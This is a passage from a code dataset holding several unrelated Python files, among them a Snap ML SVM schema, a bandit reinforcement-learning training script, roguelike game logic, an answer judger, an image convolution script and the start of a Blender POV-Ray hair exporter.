True,\n \"description\": \"The tolerance parameter. Training will finish when maximum change in model coefficients is less than tol.\",\n },\n \"generate_training_history\": {\n \"enum\": [\"summary\", \"full\", None],\n \"default\": None,\n \"description\": \"Determines the level of summary statistics that are generated during training.\",\n },\n \"fit_intercept\": {\n \"type\": \"boolean\",\n \"default\": True,\n \"description\": \"Add bias term -- note, may affect speed of convergence, especially for sparse datasets.\",\n },\n \"intercept_scaling\": {\n \"type\": \"number\",\n \"minimum\": 0.0,\n \"default\": 1.0,\n \"exclusiveMinimum\": True,\n \"description\": \"Scaling of bias term. The inclusion of a bias term is implemented by appending an additional feature to the dataset. This feature has a constant value, that can be set using this parameter.\",\n },\n \"normalize\": {\n \"type\": \"boolean\",\n \"default\": True,\n \"description\": \"Normalize rows of dataset (recommended for fast convergence).\",\n },\n \"kernel\": {\n \"enum\": [\"rbf\", \"linear\"],\n \"default\": \"rbf\",\n \"description\": \"Approximate feature map of a specified kernel function.\",\n },\n \"gamma\": {\n \"type\": \"number\",\n \"minimum\": 0.0,\n \"default\": 1.0,\n \"exclusiveMinimum\": True,\n \"minimumForOptimizer\": 0.01,\n \"maximumForOptimizer\": 100.0,\n \"distribution\": \"uniform\",\n \"description\": \"Parameter of RBF kernel: exp(-gamma * x^2).\",\n },\n \"n_components\": {\n \"type\": \"integer\",\n \"minimum\": 1,\n \"default\": 100,\n \"minimumForOptimizer\": 10,\n \"maximumForOptimizer\": 200,\n \"description\": \"Dimensionality of the feature space when approximating a kernel function.\",\n },\n \"random_state\": {\n \"description\": \"Seed of pseudo-random number generator.\",\n \"anyOf\": [\n {\n \"description\": \"RandomState used by np.random\",\n \"enum\": [None],\n },\n {\"description\": \"Explicit seed.\", \"type\": \"integer\"},\n ],\n \"default\": None,\n },\n },\n },\n ],\n}\n\n_input_fit_schema = {\n \"description\": \"Fit the model according to the given train dataset.\",\n \"type\": \"object\",\n \"required\": [\"X\", \"y\"],\n \"properties\": {\n \"X\": {\n \"type\": \"array\",\n \"description\": \"The outer array is over samples aka rows.\",\n \"items\": {\n \"type\": \"array\",\n \"description\": \"The inner array is over features aka columns.\",\n \"items\": {\"type\": \"number\"},\n },\n },\n \"y\": {\n \"description\": \"The classes.\",\n \"anyOf\": [\n {\"type\": \"array\", \"items\": {\"type\": \"number\"}},\n {\"type\": \"array\", \"items\": {\"type\": \"string\"}},\n {\"type\": \"array\", \"items\": {\"type\": \"boolean\"}},\n ],\n },\n },\n}\n\n_input_predict_schema = {\n \"type\": \"object\",\n \"required\": [\"X\"],\n \"properties\": {\n \"X\": {\n \"type\": \"array\",\n \"description\": \"The outer array is over samples aka rows.\",\n \"items\": {\n \"type\": \"array\",\n \"description\": \"The inner array is over features aka columns.\",\n \"items\": {\"type\": \"number\"},\n },\n },\n \"n_jobs\": {\n \"type\": \"integer\",\n \"minimum\": 0,\n \"default\": 0,\n \"description\": \"Number of threads used to run inference. By default inference runs with maximum number of available threads.\",\n },\n },\n}\n\n_output_predict_schema = {\n \"description\": \"The predicted classes.\",\n \"anyOf\": [\n {\"type\": \"array\", \"items\": {\"type\": \"number\"}},\n {\"type\": \"array\", \"items\": {\"type\": \"string\"}},\n {\"type\": \"array\", \"items\": {\"type\": \"boolean\"}},\n ],\n}\n\n_input_decision_function_schema = {\n \"type\": \"object\",\n \"properties\": {\n \"X\": {\n \"type\": \"array\",\n \"description\": \"The outer array is over samples aka rows.\",\n \"items\": {\n \"type\": \"array\",\n \"description\": \"The inner array is over features aka columns.\",\n \"items\": {\"type\": \"number\"},\n },\n },\n \"n_jobs\": {\n \"type\": \"integer\",\n \"minimum\": 0,\n \"default\": 0,\n \"description\": \"Number of threads used to run inference. By default inference runs with maximum number of available threads.\",\n },\n },\n}\n\n_output_decision_function_schema = {\n \"type\": \"array\",\n \"description\": \"The outer array is over samples aka rows.\",\n \"items\": {\n \"type\": \"array\",\n \"description\": \"The inner array contains confidence scores corresponding to each class.\",\n \"items\": {\"type\": \"number\"},\n },\n}\n\n_combined_schemas = {\n \"$schema\": \"http://json-schema.org/draft-04/schema#\",\n \"description\": \"\"\"`Support Vector Machine`_ from `Snap ML`_.\n\n.. _`Support Vector Machine`: https://snapml.readthedocs.io/en/latest/#snapml.SupportVectorMachine\n.. _`Snap ML`: https://www.zurich.ibm.com/snapml/\n\"\"\",\n \"documentation_url\": \"https://lale.readthedocs.io/en/latest/modules/lale.lib.snapml.snap_support_vector_machine.html\",\n \"import_from\": \"snapml\",\n \"type\": \"object\",\n \"tags\": {\"pre\": [], \"op\": [\"estimator\", \"classifier\"], \"post\": []},\n \"properties\": {\n \"hyperparams\": _hyperparams_schema,\n \"input_fit\": _input_fit_schema,\n \"input_predict\": _input_predict_schema,\n \"output_predict\": _output_predict_schema,\n \"input_decision_function\": _input_decision_function_schema,\n \"output_decision_function\": _output_decision_function_schema,\n },\n}\n\n\nSnapSVMClassifier = lale.operators.make_operator(\n _SnapSVMClassifierImpl, _combined_schemas\n)\n\nif snapml_version is not None and snapml_version > version.Version(\"1.8.0\"): # type: ignore # noqa\n from lale.schemas import Enum\n\n SnapSVMClassifier = SnapSVMClassifier.customize_schema(\n loss=Enum(\n desc=\"\"\"The loss function that will be used for training.\"\"\",\n values=[\"hinge\", \"squared_hinge\"],\n default=\"hinge\",\n forOptimizer=True,\n ),\n set_as_available=True,\n )\n\nlale.docstrings.set_docstrings(SnapSVMClassifier)\n","sub_path":"lale/lib/snapml/snap_svm_classifier.py","file_name":"snap_svm_classifier.py","file_ext":"py","file_size_in_byte":12175,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"537188497","text":"\"\"\"\nConfiguration for sphinx\n\"\"\"\nimport os\nimport sys\n\nprint(os.getcwd())\n\nsys.path.insert(0, 'bardolph/controller')\nsys.path.insert(0, 'bardolph/fakes')\nsys.path.insert(0, 'bardolph/lib')\nsys.path.insert(0, 'bardolph/parser')\nsys.path.append('.')\nfrom bardolph.pygments import bardolph_lexer\n\nproject = 'Bardolph'\ncopyright = '2022, Al Fontes'\nauthor = 'Al Fontes'\n\nfrom sphinx.highlighting import lexers\nlexers ['lightbulb'] = bardolph_lexer.BardolphLexer()\nextensions = []\n\ntemplates_path = ['_templates']\n\nexclude_patterns = []\n\nhtml_favicon = 'www/logo_ico.png'\nhtml_static_path = ['web/static']\nhtml_theme = 'sphinx_rtd_theme'\nhtml_theme_options = {\n 'analytics_id': 'UA-162715494-1'\n}\n","sub_path":"conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"67704662","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Apr 25 10:46:39 2020\n\n@author: qiaonan\n\"\"\"\nimport torch\nfrom torch.distributions.categorical import Categorical\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport numpy as np\nimport torch.optim as optim\n\nimport seaborn as sb\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\nfrom bandit import BernoulliBanditDependantEnv\n\n#%% model\nclass AC_Net(nn.Module):\n def __init__(self, in_size, h_size, d_size, action_size):\n # d_size: output densly connected layer size\n # out_size: number of actions\n # default to one layer, one batch\n super(AC_Net, self).__init__()\n \n self.gru_num_layers = 1\n self.gru = nn.GRU(in_size, h_size, self.gru_num_layers)\n self.in_size, self.h_size, self.d_size, self.action_size \\\n = in_size, h_size, d_size, action_size\n self.reset_h()\n # # value net\n # self.v1 = nn.Linear(h_size,d_size)\n # self.v2 = nn.Linear(h_size,1)\n # policy net\n self.p1 = nn.Linear(h_size,d_size)\n self.p2 = nn.Linear(d_size,action_size)\n \n def reset_h(self):\n # def\n self.h = torch.zeros((self.gru_num_layers,1,self.h_size))\n \n def forward(self,x):\n # input x shape (1,1,h_size)\n x, self.h = self.gru(x,self.h)\n x = x[0,:,:]\n \n # # value net\n # v = F.leaky_relu(self.v1(x))\n # v = F.leaky_relu(self.v2(v))\n \n # action net\n p = F.leaky_relu(self.p1(x))\n logits = self.p2(p)\n cat = Categorical(logits=logits[0,:])\n \n # return v,cat\n return cat\n \n \n \n \n \n#%% material\n\n\n\n\n#env = BernoulliBanditDependantEnv()\n#m = Categorical(torch.tensor([ [0.25, 0.25],[ 0.25, 0.25] ]))\n\n#env = BernoulliBanditEnv(2)\n\n#env.reset_task(env.sample_tasks(1)[0])\n\n# policy_loss = (-self.log_probs * advantage.detach()).mean()\n# critic_loss = 0.5 * advantage.pow(2).mean()\n# entropy is summed not averaged\n## coef might be 0.01\n# ac_loss = actor_loss + critic_loss - coeff*entropy_loss\n\n#%% train\n# params\ntotal_eps_count = 20000\neps_len = 100\nd_size = 12\n\n# according to paper\nh_size = 48\n# beta_v = 0.05\nlr = 0.001\n# gamma = 0.8\n\nenv = BernoulliBanditDependantEnv() # two arm\nac_net = AC_Net(2,h_size,d_size,2) #two input, two output actions\noptimizer = optim.Adam(ac_net.parameters(), lr=lr)\n#beta_e annealing\nbeta_es = np.linspace(1,0,total_eps_count)\n\nfor i in range(total_eps_count):\n if (i+1) % 100 == 0:\n print(f'{i+1}th episode')\n \n beta_e = beta_es[i]\n env.reset_task(env.sample_tasks()[0])\n env.reset()\n # reset hidden state of ac_net\n ac_net.reset_h()\n \n a = env.action_space.sample()\n _, r, _, _ = env.step(a)\n \n eps = []\n v = 0\n for j in range(eps_len):\n item = torch.tensor([[[r,a]]],dtype=torch.float)\n cat = ac_net(item)\n a = cat.sample()\n logp = cat.log_prob(a)\n entropy = cat.entropy()\n _, r, _, _ = env.step(a.item())\n \n eps.append([r,logp,entropy])\n v += r/eps_len\n \n entropy_loss = 0\n actor_loss = 0\n # critic_arr = 0\n for k,item in enumerate(eps[::-1]):\n r, logp, entropy = item\n entropy_loss -= entropy\n adv = r - v\n actor_loss -= logp*adv\n \n loss = actor_loss.mean() + beta_e*entropy_loss\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n \n if (i+1) % 2000 == 0:\n torch.save(ac_net.state_dict(),\n f'models/dependant/ac_net_{i+1}.pt')\n\n#%% test\n\ndef test_model(model_path,test_eps_count=300,\n h_size=48,d_size=12,eps_len=100):\n ac_net = AC_Net(2,h_size,d_size,2)\n ac_net.load_state_dict(torch.load(model_path))\n \n rec2 = []\n md = []\n for i in range(test_eps_count):\n if (i+1) % 50 == 0:\n print(f'{i+1}th episode')\n \n env.reset_task(env.sample_tasks()[0])\n env.reset()\n best_a = 0 if env._means[0] > env._means[1] else 1\n ac_net.reset_h()\n \n a = env.action_space.sample()\n _, r, _, _ = env.step(a)\n \n rec2_arr = []\n for j in range(eps_len):\n item = torch.tensor([[[r,a]]],dtype=torch.float)\n cat = ac_net(item)\n a = cat.sample()\n # logp = cat.log_prob(a)\n # entropy = cat.entropy()\n a = a.item()\n _, r, _, _ = env.step(a)\n \n item = 1 if a != best_a else 0\n rec2_arr.append(item)\n \n rec2.append(rec2_arr)\n md.append(abs(env._means[0]-env._means[1]))\n return rec2, md\n\n#%% plot\n# ind_rec, ind_md = \nrec, md = test_model('models/dependant/ac_net_20000.pt',1000)\n# rec2, md2 = test_model('models/dependant/ac_net_18000.pt')\nind_rec, ind_md = test_model('models/ac_net.pt',1000)\n\ndef get_recv(rec):\n rec = np.array(rec)\n recv = np.mean(rec,axis=0)\n return recv\n\nplt.figure()\nplt.plot(get_recv(rec),label='dependant model')\n# plt.plot(get_recv(rec2))\nplt.plot(get_recv(ind_rec),label='independant model')\nplt.legend()\nplt.xlabel('t')\nplt.ylabel('fraction of wrong pulls')\nplt.title('Averaged over 1000 test episodes')\n\n\nwrong_count = np.sum(rec,axis=1)\nplt.figure()\nplt.scatter(md,wrong_count,s=3)\nplt.xlabel('difference between the expected reward of two correlated arms')\nplt.ylabel('number of wrong pulls in a 100-step episode')\nplt.title('1000 test episodes')\n\n# plt.scatter(md,np.sum(ind_rec,axis=1),s=3)\n\n\n","sub_path":"bandit/train_dependant.py","file_name":"train_dependant.py","file_ext":"py","file_size_in_byte":5554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"156376461","text":"# -*- coding: utf-8 -*-\n# @Author: Bryant Hayes\n# @Date: 2017-11-06 15:01:39\n# @Last Modified by: Bryant Hayes\n# @Last Modified time: 2017-11-07 11:55:56\nfrom model.Message import Message, MsgType\nfrom controller.Logic import Logic\nfrom model.Player import Player\nfrom model.Entity import Entity\nfrom controller.AI import AIType\n\nimport random\n\nclass MyGameLogic(Logic):\n\tdef __init__(self, msgBus):\n\t\tLogic.__init__(self, msgBus)\n\t\tself.subscriptions.extend([MsgType.eMsgType_KeyPressed, MsgType.eMsgType_KeyReleased])\n\t\tself.shiftModifier = False\n\t\tself.entities = []\n\n\tdef addEntity(self, entity):\n\t\t# Send message to bus that a new entity is made\n\t\tmsg = Message(sender=self, target=None, msgType=MsgType.eMsgType_AddEntity, data=entity)\n\t\tself.msgBus.postMessage(msg)\n\t\tself.entities.append(entity)\n\n\tdef removeEntityAt(self, x, y):\n\t\ttoRemove = []\n\t\tfor entity in self.entities:\n\t\t\tif entity.x == x and entity.y == y:\n\t\t\t\tmsg = Message(sender=self, target=None, msgType=MsgType.eMsgType_RemoveEntity, data=entity)\n\t\t\t\tself.msgBus.postMessage(msg)\n\n\t\t\t\t# Mark for removal\n\t\t\t\ttoRemove.append(entity)\n\n\t\t# Remove all entities from local cache\n\t\tfor entity in toRemove:\n\t\t\tself.entities.remove(entity)\n\n\tdef init(self):\n\t\tLogic.init(self)\n\n\t\t# Init state of the game...\n\t\tself.player = Player(50, 50, \"@\", self.msgBus)#, aiType=AIType.AIType_Zombie)\n\t\tself.addEntity(self.player)\n\n\t\t# Force camera to follow player entity\n\t\tmsg = Message(sender=self, target=None, msgType=MsgType.eMsgType_CameraFollowEntity, data=self.player)\n\t\tself.msgBus.postMessage(msg)\n\n\t\tself.generateMap(100, 100)\n\n\tdef handleMessage(self, msg):\n\t\tif msg.msgType == MsgType.eMsgType_KeyPressed:\n\t\t\tself.keyPressed(msg.data)\n\t\tif msg.msgType == MsgType.eMsgType_KeyReleased:\n\t\t\tself.keyReleased(msg.data)\n\n\tdef move(self, entity, vector2D):\n\t\tmsg = Message(sender=self, target=None, msgType=MsgType.eMsgType_MoveEntity, data={\"entity\" : entity, \"vector2D\" : vector2D})\n\t\tself.msgBus.postMessage(msg)\n\n\tdef action(self, entity, vector2D):\n\t\t# WASD button handling to interact with world\n\t\tif self.shiftModifier:\n\t\t\tself.removeEntityAt(entity.x + vector2D[0], entity.y + vector2D[1])\n\t\telse:\n\t\t\tself.addEntity(Entity(entity.x + vector2D[0], entity.y + vector2D[1], \"#\", self.msgBus))\n\n\tdef keyReleased(self, key):\n\t\tif key.upper() == \"SHIFT\":\n\t\t\tself.shiftModifier = False\n\n\tdef keyPressed(self, key):\n\t\tif key.upper() in MOVEMENT_KEYS:\n\t\t\tself.move(self.player, MOVEMENT_KEYS[key.upper()])\n\t\telif key.upper() in ACTION_KEYS:\n\t\t\tself.action(self.player, ACTION_KEYS[key.upper()])\n\t\telif key.upper() == \"SHIFT\":\n\t\t\tself.shiftModifier = True\n\t\telif key.upper() == \"Q\":\n\t\t\tmsg = Message(sender=self, target=None, msgType=MsgType.eMsgType_Quit)\n\t\t\tself.msgBus.postMessage(msg)\n\n\tdef isTouchingCharacter(self, arr, ref, maxWidth, maxHeight, char):\n\t\tpossibilities = [[ref[0], ref[1]-1], [ref[0]-1, ref[1]], [ref[0], ref[1]+1], [ref[0]+1, ref[1]]]\n\t\tfor poss in possibilities:\n\t\t\tif poss[0] < 0 or poss[1] < 0 or poss[0] >= maxWidth or poss[1] >= maxHeight:\n\t\t\t\tcontinue\n\t\t\tcurr = arr[poss[0]][poss[1]]\n\t\t\tif curr != None and curr == char:\n\t\t\t\treturn True\n\t\treturn False\n\n\tdef generateMap(self, width, height):\n\t\t# Make empty 2D array\n\t\tarr = []\n\t\tfor i in range(width):\n\t\t\tarr.append([])\n\t\t\tfor j in range(height):\n\t\t\t\tarr[i].append(None)\n\n\t\tfor y in range(height):\n\t\t\tfor x in range(width):\n\t\t\t\tif self.isTouchingCharacter(arr, (x, y), width, height, '#'):\n\t\t\t\t\tchance = .35\n\t\t\t\telse:\n\t\t\t\t\tchance = .1\n\n\t\t\t\t# If random chance, or edge piece, add wall\n\t\t\t\tif (random.uniform(0, 1) < chance) or (x == 0 or y == 0 or x == width-1 or y == height-1):\n\t\t\t\t\twall = Entity(x, y, \"#\", self.msgBus)\n\t\t\t\t\tself.addEntity(wall)\n\t\t\t\t\tarr[x][y] = wall.char\n\n\tdef update(self):\n\t\tpass\n\n# Create a dictionary that maps keys to vectors.\n# Names of the available keys can be found in the online documentation:\n# http://packages.python.org/tdl/tdl.event-module.html\nMOVEMENT_KEYS = {\n\t\t\t\t # standard arrow keys\n\t\t\t\t 'UP': [0, -1],\n\t\t\t\t 'DOWN': [0, 1],\n\t\t\t\t 'LEFT': [-1, 0],\n\t\t\t\t 'RIGHT': [1, 0],\n\n\t\t\t\t # diagonal keys\n\t\t\t\t # keep in mind that the keypad won't use these keys even if\n\t\t\t\t # num-lock is off\n\t\t\t\t 'HOME': [-1, -1],\n\t\t\t\t 'PAGEUP': [1, -1],\n\t\t\t\t 'PAGEDOWN': [1, 1],\n\t\t\t\t 'END': [-1, 1],\n\n\t\t\t\t # number-pad keys\n\t\t\t\t # These keys will always show as KPx regardless if num-lock\n\t\t\t\t # is on or off. Keep in mind that some keyboards and laptops\n\t\t\t\t # may be missing a keypad entirely.\n\t\t\t\t # 7 8 9\n\t\t\t\t # 4 6\n\t\t\t\t # 1 2 3\n\t\t\t\t 'KP1': [-1, 1],\n\t\t\t\t 'KP2': [0, 1],\n\t\t\t\t 'KP3': [1, 1],\n\t\t\t\t 'KP4': [-1, 0],\n\t\t\t\t 'KP6': [1, 0],\n\t\t\t\t 'KP7': [-1, -1],\n\t\t\t\t 'KP8': [0, -1],\n\t\t\t\t 'KP9': [1, -1],\n\t\t\t\t }\nACTION_KEYS = {\n\t\t\t\t 'W': [0, -1],\n\t\t\t\t 'S': [0, 1],\n\t\t\t\t 'A': [-1, 0],\n\t\t\t\t 'D': [1, 0]\n}","sub_path":"MyGameLogic.py","file_name":"MyGameLogic.py","file_ext":"py","file_size_in_byte":4752,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"625545908","text":"def anagrams(lst):\n \"\"\"\n Function to find anagram pairs\n :param lst: A lst of strings\n :return: Group of anagrams\n \"\"\"\n\n # Empty dictionary which holds subsets of all anagrams together\n dictionary = {}\n\n # traversing all the lst strings\n for string in lst:\n\n # sorting the lst string and storing it in a key\n key = ''.join(sorted(string))\n\n # if the key is already in the dictionary then appending the original lst(Anagram).\n if key in dictionary.keys():\n dictionary[key].append(string)\n\n else: # If there is no key in the dictionary\n dictionary[key] = []\n dictionary[key].append(string)\n\n # traversing the whole dictionary and concatenating values and keys\n result = []\n for key, value in dictionary.items():\n if len(value) >= 2:\n result.append(value)\n result = sorted(result)\n return result\n","sub_path":"anagrams_finder/anagrams_finder.py","file_name":"anagrams_finder.py","file_ext":"py","file_size_in_byte":922,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"591571999","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.6 (3379)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.macosx-10.6-intel/egg/interactive_judger/built_in_judger.py\n# Compiled at: 2018-08-03 01:49:43\n# Size of source mod 2**32: 4125 bytes\nfrom .judge_result import Result\n\ndef _fabs(x: float):\n if x < 0.0:\n return -x\n else:\n return x\n\n\ndef integer_judger(expected, actual: int):\n if expected == actual:\n return Result.AC\n else:\n return Result.WA\n\n\nequality_judger = integer_judger\n\ndef float_judger(expected: float, actual: float, boundless_error_accepted: float):\n if _fabs(expected - actual) <= boundless_error_accepted:\n return Result.AC\n else:\n return Result.WA\n\n\ndef charsequence_judger(expected: str, actual: str, multi_line=False, omit_trailing_spaces=True, omit_trailing_newlines=True):\n \"\"\"\n This judger can be applied to judge single line or multi-line strings\n :param expected: expected answer\n :param actual: actual answer yielded by the program\n :param multi_line: whether the answer contains more than a line of strings\n :param omit_trailing_spaces: <-\n :param omit_trailing_newlines: <-\n :return: Judge result\n \"\"\"\n\n def resolve_empty_line(xs: list):\n while not xs[(-1)]:\n xs = xs[:-1]\n\n return xs\n\n def resolve_trailing_spaces(x: str):\n return x.rstrip()\n\n def resolve_trailing_newlines(x: str):\n while x[(-1)] == '\\n':\n x = x[:-1]\n\n return x\n\n if multi_line:\n expected = expected.split('\\n')\n actual = actual.split('\\n')\n if omit_trailing_newlines:\n expected = resolve_empty_line(expected)\n actual = resolve_empty_line(actual)\n if len(expected) != len(actual):\n return Result.WA\n else:\n if omit_trailing_spaces:\n for e, a in zip(expected, actual):\n if resolve_trailing_spaces(e) != resolve_trailing_spaces(a):\n return Result.WA\n\n return Result.AC\n for e, a in zip(expected, actual):\n if e != a:\n if e.rstrip() == a.rstrip():\n return Result.PE\n else:\n return Result.WA\n\n return Result.AC\n else:\n if omit_trailing_newlines:\n expected = resolve_trailing_newlines(expected)\n actual = resolve_trailing_newlines(actual)\n if omit_trailing_spaces:\n expected = resolve_trailing_spaces(expected)\n actual = resolve_trailing_spaces(actual)\n if expected == actual[(-1)]:\n return Result.PE\n else:\n if expected == actual:\n return Result.AC\n return Result.WA\n\n\ndef iterative_judger(expected, actual, condiment={'boundless_error_accepted': 0.0}):\n \"\"\"\n This judger is designed to judge an iterative object contains data with different data types\n :param expected:\n :param actual:\n :param condiment:\n :return:\n \"\"\"\n if len(expected) != len(actual):\n return Result.WA\n else:\n if type(expected) != type(actual):\n return Result.WA\n\n def next_judge(exp, act):\n return {list: lambda : iterative_judger(exp, act), \n str: lambda : charsequence_judger(exp, act), \n int: lambda : integer_judger(exp, act), \n float: lambda : float_judger(exp, act, condiment['boundless_error_accepted'])}.get(type(exp), lambda : Result.WA)\n\n if type(expected) in (list, tuple, set, str):\n for e, a in zip(expected, actual):\n if type(e) != type(a):\n return Result.WA\n judge_result = next_judge(e, a)()\n if judge_result != Result.AC:\n return judge_result\n\n return Result.AC\n if isinstance(expected, dict):\n for e, a in zip(expected, actual):\n if type(e) != type(a) or type(expected[e]) != type(actual[a]):\n return Result.WA\n judge_result = next_judge(e, a)()\n if judge_result != Result.AC:\n return judge_result\n\n return Result.AC","sub_path":"pycfiles/interactive_judger_py-1.0.0-py3.6/built_in_judger.cpython-36.py","file_name":"built_in_judger.cpython-36.py","file_ext":"py","file_size_in_byte":4342,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"295124268","text":"from __future__ import print_function\nfrom PIL import Image\nfrom math import sqrt, pow, sin, floor\n\n#imagen original\nim = Image.open(\"img1.jpg\")\npixels1 = im.load()\n\n#tamaño\nx = im.size[0]\ny = im.size[1]\ncx = x // 2\ncy = y // 2\n\n# Crear superficie deformante\nsuperficieDeformante = Image.new('RGB',(x,y))\n\nfor i in range(0, im.size[0]):\n\tfor j in range(0, im.size[1]):\n\t\tvalor = sin( 0.1 * sqrt( pow(i-cx,2) + pow(j-cy,2) ))\n\t\t#print ( abs (floor(valor * 255)) )\n\t\tpixels1[i,j] = ( int(abs (floor(valor * 255))), int(abs (floor(valor * 255))), int(abs (floor(valor * 255))))\nim.save(\"superfice.jpg\")\n\n#convolucion\n\nx = im.size[0]\ny = im.size[1]\npixels2 = im.load()\n\n#MX = [[-1,0,1],[-1,0,1],[-1,0,1]] #mascara lineas horizontales\nMX = [[-1,0,1],[-2,0,2],[-1,0,1]]\n\n#MY = [[1,1,1],[0,0,0],[-1,-1,-1]] #mascara lineas verticales\nMY = [[-1,-2,-1],[0,0,0],[1,2,1]]\n \nimagenNuevaX = Image.new('RGB',(x,y))\nimagenNuevaY = Image.new('RGB',(x,y))\nimn = Image.new('RGB',(x,y))\nfor j in range(y):\n\tfor i in range(x):\n\t\tsumatoria = 0\n\t\tsumatoriay = 0\n\t\tfor mj in range(-1,2):\n\t\t\tfor mx in range(-1,2):\n\t\t\t\ttry:\n\t\t\t\t\tsumatoria += MX[mj+1][mx+1]*pixels2[i+mx,j+mj][1]\n\t\t\t\t\tsumatoriay += MY[mj+1][mx+1]*pixels2[i+mx,j+mj][1] \n\t\t\t\texcept:\n\t\t\t\t\tsumatoria += 0\n\t\t\t\t\tsumatoriay += 0\n\t\tpunto1 = sumatoria\n\t\tpunto2 = sumatoriay\n\t\t\n\t\t#Normalizar\n\t\tpunto1 = abs(punto1)\n\t\tpunto2 = abs(punto2)\n\t\t#print (punto1)\n\t\t#print (punto2)\n\t\t\"\"\"\n\t\tif(punto1 < 0):\n\t\t\tpunto1 = 0\n\t\tif(punto1 > 255):\n\t\t\tpunto1 = 255\n\t\tif(punto2 < 0):\n\t\t\tpunto2 = 0\n\t\tif(punto2 > 255):\n\t\t\tpunto2 = 255\n\t\t\"\"\"\n\t\timagenNuevaX.putpixel((i,j),(punto1,punto1,punto1))\n\t\timagenNuevaY.putpixel((i,j),(punto2,punto2,punto2))\npx1 = imagenNuevaX.load()\npx2 = imagenNuevaY.load()\n\nimagenNuevaX.save(\"superficieX.jpg\")\nimagenNuevaY.save(\"superficieY.jpg\")\n#imn.save(\"aver.jpg\")\n\n########################\nimagenNuevaX = Image.new('RGB',(x,y))\nsuperficie = Image.open(\"superficie.jpg\")\nsuperficiePixels = superficie.load()\nfor i in range(x):\n\tfor j in range(y):\n\t\tprint (superficiePixels[x,y])\n\t\tprint (\"\")\n\t\t#imagenNuevaX.putpixel((i,j), i + (0.8 * superficiePixels","sub_path":"backup.py","file_name":"backup.py","file_ext":"py","file_size_in_byte":2099,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"49120254","text":"# ##### BEGIN GPL LICENSE BLOCK #####\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software Foundation,\n# Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n#\n# ##### END GPL LICENSE BLOCK #####\n\n# \n\"\"\"Get some Blender particle objects translated to POV.\"\"\"\n\nimport bpy\n\n\ndef export_hair(file, ob, p_sys, global_matrix, write_matrix):\n \"\"\"Get Blender path particles (hair strands) objects translated to POV sphere_sweep unions.\"\"\"\n # tstart = time.time()\n textured_hair = 0\n if ob.material_slots[p_sys.settings.material - 1].material and ob.active_material is not None:\n pmaterial = ob.material_slots[p_sys.settings.material - 1].material\n # XXX Todo: replace by pov_(Particles?)_texture_slot\n for th in pmaterial.pov_texture_slots:\n povtex = th.texture # slot.name\n tex = bpy.data.textures[povtex]\n\n if th and th.use:\n if (tex.type == 'IMAGE' and tex.image) or tex.type != 'IMAGE':\n if th.use_map_color_diffuse:\n textured_hair = 1\n if pmaterial.strand.use_blender_units:\n strand_start = pmaterial.strand.root_size\n strand_end = pmaterial.strand.tip_size\n strand_shape = pmaterial.strand.shape\n else: # Blender unit conversion\n strand_start = pmaterial.strand.root_size / 200.0\n strand_end = pmaterial.strand.tip_size / 200.0\n strand_shape = pmaterial.strand.shape\n else:\n pmaterial = \"default\" # No material assigned in blender, use default one\n strand_start = 0.01\n strand_end = 0.01\n strand_shape = 0.0\n # Set the number of particles to render count rather than 3d view display\n # p_sys.set_resolution(scene, ob, 'RENDER') # DEPRECATED\n # When you render, the entire dependency graph will be\n # evaluated at render resolution, including the particles.\n # In the viewport it will be at viewport resolution.\n # So there is no need fo render engines to use this function anymore,\n # it's automatic now.\n steps = p_sys.settings.display_step\n steps = 2 ** steps # or + 1 # Formerly : len(particle.hair_keys)\n\n total_number_of_strands = p_sys.settings.count + p_sys.settings.rendered_child_count\n # hairCounter = 0\n file.write('#declare HairArray = array[%i] {\\n' % total_number_of_strands)\n for pindex in range(0, total_number_of_strands):\n\n # if particle.is_exist and particle.is_visible:\n # hairCounter += 1\n # controlPointCounter = 0\n # Each hair is represented as a separate sphere_sweep in POV-Ray.\n\n file.write('sphere_sweep{')\n if p_sys.settings.use_hair_bspline:\n file.write('b_spline ')\n file.write(\n '%i,\\n' % (steps + 2)\n ) # +2 because the first point needs tripling to be more than a handle in POV\n else:\n file.write('linear_spline ')\n file.write('%i,\\n' % (steps))\n # changing world coordinates to object local coordinates by\n # multiplying with inverted matrix\n init_coord = ob.matrix_world.inverted() @ (p_sys.co_hair(ob, particle_no=pindex, step=0))\n if (\n ob.material_slots[p_sys.settings.material - 1].material\n and ob.active_material is not None\n ):\n pmaterial = ob.material_slots[p_sys.settings.material - 1].material\n for th in pmaterial.pov_texture_slots:\n if th and th.use and th.use_map_color_diffuse:\n povtex = th.texture # slot.name\n tex = bpy.data.textures[povtex]\n # treat POV textures as bitmaps\n if (\n tex.type == 'IMAGE'\n and tex.image\n and th.texture_coords == 'UV'\n and ob.data.uv_textures is not None\n ):\n # or (\n # tex.pov.tex_pattern_type != 'emulator'\n # and th.texture_coords == 'UV'\n # and ob.data.uv_textures is not None\n # ):\n image = tex.image\n image_width = image.size[0]\n image_height = image.size[1]\n image_pixels = image.pixels[:]\n uv_co = p_sys.uv_on_emitter(mod, 